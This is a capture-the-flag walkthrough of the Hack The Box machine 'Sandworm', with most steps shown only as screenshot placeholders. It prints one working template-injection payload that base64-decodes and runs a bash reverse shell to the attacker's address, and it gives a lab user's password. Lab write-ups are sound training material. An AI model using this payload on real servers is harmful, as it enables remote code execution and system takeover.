Post

HTB Linux Medium: Sandworm

Sandworm is a Medium rated Linux machine on HTB.

HTB Linux Medium: Sandworm

Nmap

Pasted image 20240714210737.png

Modify the hosts file, add the ssa.htb domain: Pasted image 20240714210717.png

Initial Foothold

Enumerating HTTP (Port 443)

Run Gobuster for directory enumeration (use -k flag to disable certificates). Pasted image 20240714210712.png

The page found on /guide lets us verify signatures. We can test SSTI in here. Pasted image 20240714210708.png

Start off by generating a gpg key, set your payload in the “Real name” field. Pasted image 20240714210703.png

Next up, we can print our public gpg key (which is used on the website). Pasted image 20240714210656.png

Now we can create signed text that we will decrypt on the website (which will execute our SSTI). Pasted image 20240714210649.png

Next, enter your public key and signed message on the website and press “Verify Signature”. Pasted image 20240714210638.png

As you can see our SSTI was successful as it displays 49 instead of {{7x7}}, since we know we have SSTI on the box we can use it to establish a reverse shell using the following payload. Pasted image 20240714210629.png

1
{{self.__init__.__globals__.__builtins__.__import__('os').popen('echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNTUvMTIzNCAwPiYxJwo= | base64 -d | bash').read() }}

Repeat the same steps as before (now entering our payload in the Real Name field) to establish a reverse shell. Pasted image 20240714210622.png

Lateral Movement

User credentials can be found for the silentobserver user in the following file silentobserver:quietLiketheWind22. Pasted image 20240714210618.png

SSH into the box as the silentobserver user. Pasted image 20240714210612.png

Checking for running processes we find that the atlas user is running target/debug/tipnet. Pasted image 20240714210609.png

Looking at the files in the debug folder we see the following. Pasted image 20240714210604.png

In the tipnet.d file we can see files that are being ran. Pasted image 20240714210557.png

The second one seems to have write permissions (we can put a reverse shell in here). Pasted image 20240714210552.png

Payload. Pasted image 20240714210546.png

Priv Esc

Sticky bit on firejail found using Linpeas. Pasted image 20240714210541.png

Googling for a firejail SUID exploit we find a Python script that we can run. Pasted image 20240714210536.png

In another instance, we can join the firejail and change our user to root. Pasted image 20240714210525.png

User.txt

Pasted image 20240714210511.png

Root.txt

Pasted image 20240714210505.png

You have PWNED

Pasted image 20240714210500.png

Sources

This post is licensed under CC BY 4.0 by the author.